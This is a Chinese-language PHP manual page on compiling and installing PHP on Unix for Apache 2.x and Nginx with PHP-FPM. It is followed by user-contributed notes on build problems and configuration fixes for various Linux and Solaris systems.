在 Unix 平台下安装 PHP 有几种方法：使用配置和编译过程，或是使用各种预编译的包。本文主要针对配置和编译 PHP 的过程。很多 Unix 类系统都有包安装系统，可以用它来设置一个有着标准配置的 PHP。但是若需要与标准配置不同的功能（例如一个安全服务器，或者不同的数据库驱动扩展模块），可能需要编译 PHP 和／或 web 服务器。如果不熟悉编译软件，可以考虑搜索一下是否有人已经编译了包含所需要功能的预编译包。

编译所需的知识和软件：

  • 基础的 Unix 技能（有能力操作"make"和一种 C 语言编译器）
  • 一个 ANSI C 语言编译器
  • 一个 web 服务器
  • 任何模块特需的组件（例如 GD 和 PDF 库等)

直接从 Git 源文件或者自己修改过的包编译时可能需要：

  • autoconf: 2.59+ (for PHP >= 7.0.0), 2.64+ (for PHP >= 7.2.0)
  • automake: 1.4+
  • libtool: 1.4.x+（除了 1.4.2）
  • re2c: 版本 0.13.4+
  • bison:
    • PHP 7.0 - 7.3: 2.4 或更高 (包含 Bison 3.x)
    • PHP 7.4: > 3.0

PHP 初始的配置和安装过程被 configure 脚本中一系列命令行选项控制。可以通过 ./configure --help 命令了解 PHP 所有可用的编译选项及简短解释。本手册是分开对这些选项编写文档的。可在附录中找到 核心配置选项，而扩展模块特定的配置选项分别在其函数参考页面中描述。

配置好 PHP 后，便可以开始编译模块和／或可执行文件。make 命令用来做这一工作。如果该命令执行失败而找不到原因，请参考 安装问题 一节。

Note:

某些 Unix 系统（类似 OpenBSD 和 SELinux）出于安全考虑，可能不允许同时设置文件的写和执行的权限，又称为 "PaX MPROTECT" 或 "W^X violation" 保护。但是 PCRE's JIT 又要求不能这么做，所以安装时可以参考 关闭 PCRE's JIT 支持，或者在系统中将相关的二进制文件加入保护白名单。

Note: 目前还不支持 ARM 与 Android 工具链的交叉编译。

User Contributed Notes

cj3 at clifjackson dot net 18-Jan-2018 09:58
I recently ran in to a situation where I was building PHP 7.1.13 from source. Configuration & make went fine, however, when I ran make install it hung. It turns out that if you are building PHP with Apache (apxs) the make file calls apxs with the -a flag which tells it to modify the httpd.conf file. If, for whatever reason, the file is not writeable then it fails and you get the hang.

Line 108 in my Makefile looks like this:

INSTALL_IT = $(mkinstalldirs) '$(INSTALL_ROOT)/usr/lib64/httpd/modules' && $(mkinstalldirs) '$(INSTALL_ROOT)/etc/httpd/conf' && /usr/sbin/apxs -S LIBEXECDIR='$(INSTALL_ROOT)/usr/lib64/httpd/modules'      -S SYSCONFDIR='$(INSTALL_ROOT)/etc/httpd/conf' -i -a -n php7 libphp7.la

I had to remove the -a flag and then it was fine.


Unix 系统下的 Apache 2.x

本节包括在 Unix 平台的 Apache 2.x 下安装 PHP 的说明和提示。

Warning

不推荐在使用 Apache 2 的产品中使用线程化 MPM。应使用预分支 MPM，Apache 2.0 和 2.2 默认的 MPM。其原因见 FAQ 中的相关条目使用线程化 MPM 的 Apache2。

推荐阅读 » Apache 文档，了解一下 Apache 2.x 服务器，以及详细的安装参数。

可以从 » Apache 下载站点下载最新版本的Apache，并且根据上文选择合适版本的 PHP 下载。本向导仅包含最基础的内容，只能让 Apache 2.x 和 PHP 能够正常工作。更多信息请阅读 » Apache 文档。这里省略所有的版本号，以保证本文的正确性。需要将本文的"NN"替换为相应的版本号。

当前 Apache 2.x 有两个流行的版本 - 2.4 和 2.2。虽然选择某个版本会有种种原因，但是如果可以考虑的话，我们还是建议使用最新的 Apache 2.4 版本。当然，以下的介绍同样适合 Apache 2.4 和 2.2。请注意 Apache 2.2 已经不再被官方支持，并且不再发布新功能和补丁更新。

  1. 从上面列出的地方获取 Apache 源码包，然后解压：

    tar -xzf httpd-2.x.NN.tar.gz

  2. 同样，获取 PHP 源码包并解压：

    tar -xzf php-NN.tar.gz

  3. 编译并安装 Apache。请参考 Apache 安装文档了解编译 Apache 的更多细节。

    cd httpd-2_x_NN
./configure --enable-so
make
make install

  4. 现在已经将 Apache 2.x.NN 安装在 /usr/local/apache2。本安装支持可装载模块 和标准的 MPM prefork。之后，可以使用如下命令启动 Apache 服务器：

    /usr/local/apache2/bin/apachectl start
    如果成功，可以停止 Apache 服务器并继续安装 PHP：
    /usr/local/apache2/bin/apachectl stop

  5. 现在需要配置并编译 PHP。在这里可以用各种各样的参数来自定义 PHP，例如启动哪些扩展功能包的支持等。用 ./configure --help 命令可以列出当前可用的所有参数。在此例中，将给出一个在有 MySQL 支持的 Apache 2 上进行配置的范例。

    如果按照上面的说明从源代码编译了 Apache，下面的例子会正确匹配 apxs 的路径。如果通过其他方式安装了 Apache，需要相应的调整 apxs 的路径。注意，在有些发行版本中，可能将 apxs 更名为 apxs2。

    cd ../php-NN
./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-pdo-mysql
make
make install

    如果决定在安装后改变配置选项，只需重复最后的三步 configure，make，以及 make install，然后需要重新启动 Apache 使新模块生效。Apache 不需要重新编译。

    请注意，除非明确有提示，否则"make install"命令将安装 PEAR、各种 PHP 工具诸如 phpize，并安装 PHP CLI 等等。

  6. 配置 php.ini

    cp php.ini-development /usr/local/lib/php.ini

    可以编辑 php.ini 来设置 PHP 运行时的选项。如果想要把此文件放到另外的位置，需要在步骤 5 添加 --with-config-file-path=/path 选项。

    如果选择了 php.ini-production，请务必阅读其中的变更列表，它们将影响 PHP 的执行。

  7. 编辑 httpd.conf 文件以调用 PHP 模块。LoadModule 表达式右边的路径必须指向系统中的 PHP 模块。以上的 make install 命令可能已经完成了这些，但务必要检查。

    PHP 8 版本:

    LoadModule php_module modules/libphp.so

    PHP 7 版本:

    LoadModule php7_module modules/libphp7.so

  8. 告知 Apache 将特定的扩展名解析成 PHP，例如，让 Apache 将扩展名 .php 解析成 PHP。为了避免潜在的危险，例如上传或者创建类似 exploit.php.jpg 的文件并被当做 PHP 执行，我们不再使用 Apache 的 AddType 指令来设置。参考下面的例子，你可以简单的将需要的扩展名解释为 PHP。 我们将添加 .php 来进行演示。

    <FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

    或者，你也想将 .php，.php2，.php3，.php4，.php5，.php6，以及 .phtml 文件都当做 PHP 来运行，我们无需额外的设置，仅需按照下面这样来：

    <FilesMatch "\.ph(p[2-6]?|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

    然后，可以将 .phps 文件由 PHP 源码过滤器处理，使得其在显示时可以高亮源码，设置如下：

    <FilesMatch "\.phps$">
    SetHandler application/x-httpd-php-source
</FilesMatch>

    mod_rewrite 也有助于将那些不需要运行的 .php 文件的源码高亮显示，而并不需要将他们更名为 .phps 文件：

    RewriteEngine On
RewriteRule (.*\.php)s$ $1 [H=application/x-httpd-php-source]

    不要在正式生产运营的系统上启动 PHP 源码过滤器，因为这可能泄露系统机密或者嵌入的代码中的敏感信息。

  9. 按照通常的方式启动 Apache 服务：

    /usr/local/apache2/bin/apachectl start

    或者

    service httpd restart

按照上面的步骤便可以使 Apache 2.ｘ 将 PHP 作为 SAPI 模块了。当然 Apache 和 PHP 都还有很多配置选项，可以在相应的源代码目录中使用 ./configure --help 获得更多信息。

假如要编译一个多线程版本的 Apache，可在编译时选择用 worker MPM 来替换标准的 prefork MPM。只需在上面的第 3 步使用：

--with-mpm=worker

如果不是很明确这样做的后果并且大概理解其含义的话，最好不要进行这一步。更多信息请参考 Apache 文档中关于 » MPM-Modules 的部分。

Note:

Apache MultiViews 常见问题中讨论了在 PHP 中使用 MultiViews。

Note:

要编译多线程版本的 Apache，系统必须支持多线程。这也意味着需要将 PHP 编译为 Zend Thread Safety（ZTS）， 因此并不是所有的扩展都可以使用了。推荐编译 Apache 使用标准的 prefork MPM-Module。

User Contributed Notes

dfeprado at gmail dot com 21-Sep-2023 11:42
When compiling for an Ubuntu 22.04 + Apache2 HTTPD (the one that comes from the default repo), you can face the following error when starting apache2.service:

"Apache is running a threaded MPM, but your PHP Module is not compiled to be threadsafe. You need to recompile PHP."

So, I came back to PHP source and configured it like this:

$ make clean
$ ./configure [...all your build needs] --enable-zts
$ make
$ sudo make install

Then it worked.
Morning Star 03-Nov-2022 06:46
I had just installed php8.1.12 on a machine used for writing C code.

Below are some libraries that I needed to download on a debian-based OS.

apt-get install libpcre3 libpcre3-dev
apt-get install apache2-dev
apt-get install libxml2-dev
apt-get install libsqlite3-dev

These were the missing packages that I required.
If you get an error regarding a missing package or library, for example when I needed sqlite3, run the command:

apt search sqlite3

And you'll be able to see if there's any dev or lib packages.

The apache2 instructions worked flawlessly at the time of php8.1.12; and in order to get certain requirements for an application, I had to run the php configure file like so:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-pdo-mysql --with-mysqli --with-zip --enable-gd

The extra flags allowed me to use both types of mysql, allowed me to utilize PHP zip archiving, and allowed me to use Gnatt stuff.
1097625354 at qq dot com 03-Apr-2019 01:09
解析PHP,需要Apache 2.4.9  以后
<FilesMatch \.php$>
     SetHandler "proxy:fcgi://127.0.0.1:9000"
</FilesMatch>
Anonymous 29-Mar-2017 06:34
Building php 7.1.3 with mysql 5.7.17 and httpd 2.4.25 on Debian 8, step 5 failed for me. Instead of

--with-mysql

try

--with-pdo-mysql

or

--with-mysqli
svepa at milestone42 dot com 11-Oct-2011 08:35
On 64-bit Fedora systems (I'm using Fedora 14), configuring PHP to use the MySQL libraries installed as part of the distribution gives the following error if you follow the default instructions in this manual.

Cannot find libmysqlclient under /usr

Modifying he following invocation of configure as follows:

./configure --with-apxs2=/path/to/apxs --with-libdir=lib64 --with-mysql

should work.

Note the addition of --with-libdir=lib64
This points the configure script to look for 64-bit mysqlclient libraries.
nmmm at nmmm dot nu 09-Aug-2009 01:13
When I upgrade to apache 2.2, this:

AddType application/x-httpd-php .php5
AddType application/x-httpd-php .php42
AddType application/x-httpd-php .php4
AddType application/x-httpd-php .php3
AddType application/x-httpd-php .php
AddType application/x-httpd-php .phtm
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .asp

...does not worked for me, so I did this:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler application/x-httpd-php
</FilesMatch>

Another interesting point with Apache 2.2 is following.
Let suppose we installed PHP as module. But for some directory, we need to use PHP as CGI (probably because of custom configuration). This can be done using:

<FilesMatch "\.(php*|phtm|phtml|asp|aspx)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

Note type must be different than "application/x-httpd-php" and also you need to deactivate the handler on sertain extention. You can do mixed configuration:

<FilesMatch "\.(php)$">
SetHandler none
</FilesMatch>

AddType application/x-httpd-php-custom .php
Action  application/x-httpd-php-custom  /cgi-bin/php-huge

in such case files like *.php5 and so on will be parsed via module, but *.php will go to php-huge executable.
Anonymous 16-Jun-2009 10:58
Solution for fedora is yum install mysql-devel. Then set --with-mysql=/usr/include/mysql/
monguesto
Tom420.Duhamel 01-Feb-2009 05:31
I have successfully installed Apache 2.2.11 and PHP 5.2.8 under Red Hat 9.0 on a Pentium 166 with 32 MB of RAM.

While I used RH9, the worst possible case, these notes are probably good for RH-based distributions too (Red Hat Enterprise, Fedora, CentOS...)

If you want to install MySQL, it needs to be installed before PHP because PHP requires some libraries be available.

One think important when picking up a binary distribution of MySQL is to download all four packages: MySQL-server, MySQL-devel, MySQL-client and MySQL-shared. Note: The MySQL was bundled with PHP 4 but is not anymore in PHP 5.

Then you need to install Apache before PHP, because again PHP needs some libraries be available. I installed Apache 2 from source, using the very last version available, which is 2.2.11.

I installed PHP 5.2.8 from source. Here, I had a number of problems, but none which I could not resolve easily, some of them with a little help from different forums I found through Google.

Rembember: When it says you need a package named xyz and you notice there is also one named xyz-devel, grab it.

Most of the packages I got from:
http://legacy.redhat.com/pub/redhat/linux/9/en/os/i386/RedHat/RPMS/
A similar page exists for other versions of Red Hat
and:
http://rpmfind.net/
This site has an updated version of some of the packages. Make sure to use only the one labeled for you version (in my case, Red Hat 9.0) or it will not likely work.

You already have glibc and glibc-common installed, but you need to get glibc-devel and glibc-kernheaders. Make sure to match glibc's version (rpm -q glibc). Note: When it says kernel-header is a required dependency, that's glibc-kernheader (not kernel-source). You will also need binutils (no need to match the version), and gcc and cpp (version must match).

You need zlib-devel (zlib is probably already installed, match the version you have).

If you install the GD extension, the actual library is already bundled with PHP 5 (use that one, they have done some changes in there, so don't upgrade), but you will need to install libpng and libpng-devel (match version, or disable in configure if you don't want) and libjpeg (no -devel with that one).

You will also need libxml2. Now there were a problem, because PHP requires libxml2 be 2.6 or greater, but Red Hat only supplied 2.5.4-1 for RH9 (if you have a more recent distro, you might be more lucky). After looking for a while, I decided to grab the source code for the most recent distribution at the official website (http://xmlsoft.org/) and compiled.

Hope my post is useful to someone. Please, share your experience when compiling/installing for your particular platform and setup. Remember how hard it's been for you the very first time. I confess, my very first server installation took me nearly a week and I was glad others helped me.
chris@gerlt -dot- net 22-Sep-2006 06:33
Install issues on Redhat, specifically RHEL4 with php4 already installed:

I discovered that there was an issue caused by redhat loading php4 in another file seperate from the httpd.conf file!  This took me hours to discover.  Make sure you know if the apache config file (httpd.conf) is loading configurations from a directory (or another file(s)) as well.  If so, look in there for any php module loading which could conflict with the new module you are compiling/installing.
susie91 27-Aug-2006 08:34
for slackware 10.2 users with apache2, mysql5, and trying to install php5:

when following the directions above, after this step:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql

i kept getting this error:
"Unable to find MySql header files...."

the only way i could get php5 with mysql support was to compile MySql5 from source, and not use the binary as the mysql site recommends.

then i was able to ./configure successfully, but for some reason php was configured to compile the CGI version.

so, had to use this ./configure line:

./configure --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysql  --disable-cgi

alternatively, you could install php4 which does bundle the MySql client files.
jaya 05-Jul-2006 11:41
PHP 5.1.4 INSTALLATION on Solaris 9 (Sparc)

Solaris9 Packages Installed:

Verify required package installation:
root# pkginfo SUNWbtool SUNWsprot SUNWtoo SUNWhea SUNWarc \
SUNWlibm SUNWlibms SUNWdfbh SUNWxglh SUNWcg6h

Uninstall Default Apache Packages:
root# /etc/init.d/apache stop
root# pkginfo |grep Apache
root# pkgrm SUNWaclg SUNWapchd SUNWapchr SUNWapchu

Create installation Directory:
root# mkdir /phpdata/

Download Required Packages from Sunfreeware:

Install libiconv-1.8 and gcc3.3.2 packages
root# pkgadd -d ./libiconv-1.8-sol9-sparc-local
root# pkgadd -d ./gcc-3.3.2-sol9-sparc-local

set LD_LIBRARY_PATH, CC and PATH variables
root# LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:\
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:\
/usr/local/apr/lib:/opt/mysql/mysql/lib
root# CC=gcc
root# PATH=$PATH:/usr/ucb:/usr/local/bin/
root# export LD_LIBRARY_PATH CC PATH

Install apr-1.2.2 and aprutil-1.2.2 packages

root# gzcat apr-1.2.2.tar.gz |tar xvf -
root# cd apr-1.2.2
root# ./configure
root# make
root# make install
root# cd ..

root# gzcat aprutil-1.2.2.tar.gz |tar xvf -
root# cd apr-util-1.2.2/
root# ./configure --with-apr=/usr/local/apr/
root# make
root# make install

Install gawk-3.1.4, expat-1.95.5, db-4.2.52.NC,
gdbm-1.8.3, libgcc-3.3 and libxml2-2.6.16 packages
root# cd ..
root# pkgadd -d ./gawk-3.1.4-sol9-sparc-local
root# pkgadd -d ./expat-1.95.5-sol9-sparc-local
root# pkgadd -d ./db-4.2.52.NC-sol9-sparc-local
root# pkgadd -d ./gdbm-1.8.3-sol9-sparc-local
root# pkgadd -d ./libgcc-3.3-sol9-sparc-local
root# pkgadd -d ./libxml2-2.6.16-sol9-sparc-local

Install GNU make package
root# gzcat make-3.81.tar.gz |tar xvf -
root# cd make-3.81
root# ./configure
root# make
root# make install
root# cd ..

Install mysql-standard-5.0.22 package
Search for user mysql
root# grep mysql /etc/passwd
root# grep mysql /etc/group

If not found create user and group mysql
root# groupadd mysql
root# useradd -G mysql mysql
root# pkgadd -d ./mysql-standard-5.0.22-solaris9-sparc.pkg.gz

Install openssl-0.9.7g package
root# gzcat openssl-0.9.7g.tar.gz |tar xvf -
root# cd openssl-0.9.7g
root# ./config shared
root# make
root# make install
root# cd ..

Install Apache2 package
root# gzcat httpd-2.2.0.tar.gz |tar xvf -
root# cd httpd-2.2.0
root# ./configure --enable-so
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cd ..

Install php-5.1.4 package
root# gzcat php-5.1.4.tar.gz |tar xvf -
root# cd php-5.1.4
root# ./configure --with-apxs2=/usr/local/apache2/bin/apxs\
--with-ldap --with-mysql=/opt/mysql/mysql/
root# /usr/local/bin/make
root# /usr/local/bin/make install
root# cp php.ini-dist /usr/local/lib/php.ini

Edit httpd.conf to load the PHP module
and to parse certain extensions as PHP
root# vi /usr/local/apache2/conf/httpd.conf
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php .phtml

Start Apache
root# /usr/local/apache2/bin/apachectl start

Add environmental variables below HTTPD
root# vi /usr/local/apache2/bin/apachectl
LD_LIBRARY_PATH=/usr/local/lib:/usr/local/lib/sparcv9/:
/usr/lib:/usr/openwin/lib:/opt/local/lib:/usr/local/ssl/lib:
/usr/local/apr/lib:/opt/mysql/mysql/lib
PATH=/bin:/sbin:/usr/ccs/bin:/usr/sbin:/usr/openwin/bin:\
/usr/ucb:/usr/local/bin/
export LD_LIBRARY_PATH PATH

Create Apache Startup Script
felixcca at yahoo dot ca 29-Mar-2006 06:13
I've (painfully) discovered that installing PHP5 with "make install" under SuSe 9.2 is NOT a good idea.
http://www.aditus.nu/jpgraph/apache2suse.php
This page explains how to install it without breaking everything that's php-related in the Apache2 configuration. Its first purpose, though, is to show how to have php 4 and 5 to cohabit properly.
frank@ethisoft 28-Sep-2005 02:30
Using Apache2 & PHP5 work perfectly fine & safe together.
- all core modules are safe in Zend Engine 2
- third-party-libraries should be avoided
- semaphores and shared memory enables you to ensure yourself that your application/website is thread-safe also with non-thread-safe PHP modules!
happyboy at php dot org 03-Aug-2005 04:30
FILE TRUNCATED!!

during the make process should u receive an error declaring ext/ctype/ctype.lo (or another file) is truncated then you need to 'make clean' prior to a healthy 'make' and 'make install.'

looking into your ext/ directory you may find the offensive file to be 1 byte long.
neil 10-Feb-2005 02:21
To install mysql and mysqli with PHP5 do the following:

after doing:

./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

.....
Pleasse note: you must have mysql-dev installed (RPM or source) or you will not have the mysql_config file at all.  The standard, server, and client installations of MySQL do not include it.  I read somewhere that the mysql and mysqli paths must be identical.

Quoted from Michael Kofler at the following link:
http://www.kofler.cc/forum/forumthread.php?rootID=3571
Dan Scott (dan dot scott at acm dot org) 19-Jan-2005 08:36
Building PHP 5.x with Apache2 on SuSE Professional 9.1/9.2

SuSE uses a rather fragmented set of Apache configuration files stored in /etc/apache2/. When you configure PHP 5.x with:

$ ./configure --with-apxs2=/usr/sbin/apxs2
$ make

everything builds just fine; but when you issue:
$ su -c "make install"

the unconventional Apache conf file layout confuses the install-sapi section of the Makefile and the process halts with the following error:

apxs:Error: Config file /etc/apache2/httpd2-prefork.conf not found.
make: *** [install-sapi] Error 1

At this point only the PHP SAPI library has been copied into place; the rest of the files (like PEAR scripts, PHP-CLI, etc) have not been installed. But never fear! You can overcome this problem with the following steps:

1. Edit Makefile and change the following line to remove "install-sapi":
install_targets = install-sapi install-cli install-pear install-build install-headers install-programs

2. Issue the make install command again:
$ su -c "make install"

3. Add the PHP module & type instructions to the Apache configuration. As root, create a new file, /etc/apache2/conf.d/php5.conf that contains the following lines:

LoadModule php5_module /usr/lib/apache2/libphp5.so
AddType application/x-httpd-php php

--- And that's it. Everything else is just as the documentation suggests it should be.
praveen dot k at masconit dot com 15-Nov-2004 01:38
Hi too had same problem with multiview like when i execute http://huey/admin/test.php it used to compile but when i use http://huey/admin/test it wouldnt recognise it as php file... i worked it out with the addhandler method and AddType in different line and setting multiview for directive

"multiviews Options Indexes FollowSymLinks MultiViews"

the directives u can set it to root directory so now when u type pn test it will search in precendence for test.php, test.html if any .....

its working for me with apache2.0.47 and php 4.3.9 on solaris

praveen


Unix 系统下的 Nginx 1.4.x

本文档包括使用 PHP-FPM 为 Nginx 1.4.x HTTP 服务器安装和配置 PHP 的说明和提示。

本指南假定您已经从源代码成功构建 Nginx，并且其二进制文件和配置文件都位于 /usr/local/nginx。 如果您使用其他方式获取的 Nginx，请参考 » Nginx Wiki 并对照本文档完成安装。

本文档仅包含 Nginx 服务器的基本配置，它将通过 80 端口提供 PHP 应用的处理能力。 如果您需要超出本文档范围的安装配置指导，建议您查阅 Nginx 和 PHP-FPM 的文档。

需要注意的是，本文档一律使用 'x' 来表示版本号，请根据实际情况将 'x' 替换为对应的版本号。

  1. 建议您访问 Nginx Wiki » 安装 页面以获取并在您的系统上安装 Nginx。

  2. 获取并解压 PHP 源代码:

    tar zxf php-x.x.x

  3. 配置并构建 PHP。在此步骤您可以使用很多选项自定义 PHP，例如启用某些扩展等。 运行 ./configure --help 命令来获得完整的可用选项清单。 在本示例中，我们仅进行包含 PHP-FPM 和 MySQL 支持的简单配置。

    cd ../php-x.x.x
./configure --enable-fpm --with-mysql
make
sudo make install

  4. 创建配置文件，并将其复制到正确的位置。

    cp php.ini-development /usr/local/php/php.ini
cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
cp sapi/fpm/php-fpm /usr/local/bin

  5. 需要着重提醒的是，如果文件不存在，则阻止 Nginx 将请求发送到后端的 PHP-FPM 模块， 以避免遭受恶意脚本注入的攻击。

    将 php.ini 文件中的配置项 cgi.fix_pathinfo 设置为 0 。

    打开 php.ini:

    vim /usr/local/php/php.ini

    定位到 cgi.fix_pathinfo= 并将其修改为如下所示：

    cgi.fix_pathinfo=0

  6. 在启动服务之前，需要修改 php-fpm.conf 配置文件，确保 php-fpm 模块使用 www-data 用户和 www-data 用户组的身份运行。

    vim /usr/local/etc/php-fpm.d/www.conf

    找到以下内容并修改：

    ; Unix user/group of processes
; Note: The user is mandatory. If the group is not set, the default user's group
;       will be used.
user = www-data
group = www-data

    然后启动 php-fpm 服务：

    /usr/local/bin/php-fpm

    本文档未涵盖对 php-fpm 进行进一步配置的信息，如果您需要更多信息，请查阅相关文档。

  7. 配置 Nginx 使其支持 PHP 应用：

    vim /usr/local/nginx/conf/nginx.conf

    修改默认的 location 块，使其支持 .php 文件：

    location / {
    root   html;
    index  index.php index.html index.htm;
}

    下一步配置来保证对于 .php 文件的请求将被传送到后端的 PHP-FPM 模块， 取消默认的 PHP 配置块的注释，并修改为下面的内容：

    location ~* \.php$ {
    fastcgi_index   index.php;
    fastcgi_pass    127.0.0.1:9000;
    include         fastcgi_params;
    fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
}

    重启 Nginx。

    sudo /usr/local/nginx/sbin/nginx -s stop
sudo /usr/local/nginx/sbin/nginx

  8. 创建测试文件。

    rm /usr/local/nginx/html/index.html
echo "<?php phpinfo(); ?>" >> /usr/local/nginx/html/index.php

    打开浏览器，访问 http://localhost，将会显示 phpinfo() 。

通过以上步骤的配置，Nginx 服务器现在可以以 SAPI SAPI 模块的方式支持 PHP 应用了。 当然，对于 Nginx 和 PHP 的配置，还有很多可用的选项， 请在对应的源代码目录执行 ./configure --help 来查阅更多配置选项。

User Contributed Notes

timy.shark 30-May-2022 07:33
Great effort for this tutorial, thanks a ton, here are my notes if may help anyone, considering default install on WSL2 container
Note: composer added for Laravel framework.
These are NOT to be copy and pasted as it is, need to be selective as there are annotations beside some commands,
Also I've commented # some of the defaults written by the original editor due to mismatch to my current environment.

sha256sum  php-x.x.x.tar.gz => e847745fd66fc8c57fac993a609fefcded93fddccd225f0620a26bb5ae5753c3
    tar zxf php-x.x.x
    sudo apt install build-essential
    sudo apt install -y composer nginx pkgconf libxml2-dev  libsqlite3-dev zlib1g-dev
    cd php-x.x.x
    ./configure --enable-fpm --with-mysqli <==Thank you for installing PHP.
        make <== takes a while
    sudo make test <== optional as recommended
    sudo make install <= /usr/local/bin /usr/local/php
    sudo cp php.ini-development /usr/local/lib/php.ini
    sudo cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
    sudo cp sapi/fpm/php-fpm /usr/local/bin
    sudo vim /usr/local/php/php.ini <= cgi.fix_pathinfo=0
    sudo vim /usr/local/etc/php-fpm.d/www.conf <= user=www-data group=www-data
    sudo vim sapi/fpm/php-fpm.conf <= edit include=etc/php-fpm.d/*.conf  <- relative path
    sudo cp sapi/fpm/php-fpm.conf /usr/local/etc
    /usr/local/bin/php -v <= $PATH$ uses /usr/local/bin at first /usr/local/lib/php.ini
    sudo /usr/local/bin/php-fpm <= start the service
    sudo vim /etc/nginx/sites-available/default <= edit the following under server {}
    location / {
    #root   html;
    #index  index.php index.html index.htm;
}
    location ~* \.php$ {
    #fastcgi_index   index.php;
    fastcgi_pass    127.0.0.1:9000;
    include         fastcgi_params;
    fastcgi_param   SCRIPT_FILENAME    $document_root$fastcgi_script_name;
    fastcgi_param   SCRIPT_NAME        $fastcgi_script_name;
}

    *Restart nginx (root /var/www/html) if root path doesn't exist, default is: /usr/share/nginx/html
    sudo nginx -t <= Test Nginx conf files
    sudo service nginx reload
    sudo service nginx stop
    sudo service nginx start <= [OK]

php-fpm needs to be in a service, or kill process manually ps -aux | grep php-fpm ; kill <pid>
Leon Nguyen vnlab 30-Jul-2021 04:46
To maximize the server performance with highest speed, with fewest resources, i have decided to compile PHP 8 manually from minimal Linux/Unix-based OS (my Linux distro is rpm-based packages)

My system has successfully powered up by PHP 8.0.9 - with Opcache/JIT enabled & other several PHP extension module. Here is several experience that may save you several hours of research.

1. Before step (3) - Configure and build PHP - to ensure that no errors occurs, you can refer to my prerequisites library.

sudo dnf install \
gcc gcc-c++ make cmake autoconfig \
zlib zlib-devel pcre pcre-devel \
libxml2-devel libxslt-devel \
bzip2-devel curl-devel libzip-devel\
sqlite-devel \
systemd-devel \
openssl-devel \
libffi-devel \
libpng libpng-devel libwebp libwebp-devel libjpeg libjpeg-devel libXpm libXpm-devel \
freetype-devel \
gmp-devel \
libldb-devel \
libc-client libc-client-devel \
openldap openldap-devel \
oniguruma oniguruma-devel \
net-snmp-devel readline-devel unixODBC-devel \
uw-imap uw-imap-devel uw-imap-static uw-imap-utils \
libicu-devel \
enchant2 enchant2-devel \
gd gd-devel \
libsodium libsodium-devel \
libtidy libtidy-devel

You may not receive error when issuing ./configure, make && make install. Even when you manually build your PHP extension package later.

2. At step 5 - before modifying php.ini - you may double-check whether the current PHP is reading which php.ini file by this command

php -ini | grep php.ini
# My result. It is different from tutorial.
Configuration File (php.ini) Path => /usr/local/lib
Loaded Configuration File => /usr/local/lib/php.ini
610010559 at qq dot com 21-Nov-2019 12:44
in linux system, if you want to add php-fpm service to system service;  it is easy to do that, because php offer the relate shell script:

after make and make install;enter the source code package sapi/fpm/init.d.php-fpm ; type the code in the linux system.
cp sapi/fpm/init.d.php-fpm  /etc/init.d/php-fpm

then you can use "php-fpm {start|stop|force-quit|restart|reload|status|configtest} "  command  to control your php-fpm program more convenient .
uanaoeng at outlook dot com 01-Feb-2019 08:56
When I run the following command to start the php-fpm:
/usr/local/bin/php-fpm

I got the following error information:
Unable to globalize '/usr/local/NONE/etc/php-fpm.d/*.conf' (ret=2) from /usr/local/etc/php-fpm.conf at line 143.

To fix this error, do:
change the string "include=NONE/etc/php-fpm.d/*.conf" to "include=etc/php-fpm.d/*.conf" in the file "/usr/local/etc/php-fpm.conf" with text editor.

After that, I try to start the php-fpm again and got error information again:
Nothing matches the include pattern '/usr/local/etc/php-fpm.d/*.conf' from /usr/local/etc/php-fpm.conf at line 143.

To fix this error, do:
cp /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf
1097625354 at qq dot com 03-Dec-2018 08:31
cp php/php.ini-development        php/lib/php.ini
cp php/etc/php-fpm.conf.default       php/etc/php-fpm.conf
cp php/etc/php-fpm.d/www.conf.default     php/etc/php-fpm.d/www.conf
sp at rysmax dot com 06-Mar-2018 09:10
Translate errors:

Теперь перейдите в http://localhsot
Теперь перейдите в http://localhost

В этом разделе описивыется
В этом разделе описывается

запрещаем Nginx от отправлять
запрещаем Nginx отправлять
Lenny 21-Feb-2016 02:40
Building from source is not easy if something is a bit different, and I had a hard time with some directory and configuration options. I was floundering around the web until I found this site that translated from Chinese. No one else had the solution.  I couldn't get php fpm to start until I changed the directory (Item 2.ERROR: Unable to globalize). I had other issues listed but I was able to solve them. Please don't delete this, it is very useful info.

The original site  (it is in Chinese, not my site, but I want to give credit):

(there is some more there, you can goto the site)

blog.dream1987.top/?paged=2

Installation problems:

1. configure: error:. Xml2-config not found Please check your libxml2 installation.

solution:

apt-get install libxml2-dev

2.Warning: Declaration of PEAR_Installer :: download () should be compatible with & PEAR_Downloader :: download ($ params) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib.phar/PEAR /Installer.php on line 43

Warning: Declaration of PEAR_PackageFile_Parser_v2 :: parse () should be compatible with PEAR_XMLParser :: parse ($ data) in phar: ///root/php-7.0.0alpha1/pear/install-pear-nozlib.phar/PEAR/PackageFile/ Parser / v2.php on line 113
[PEAR] Archive_Tar - already installed: 1.3.13
[PEAR] Console_Getopt - already installed: 1.3.1
[PEAR] Structures_Graph- already installed: 1.0.4

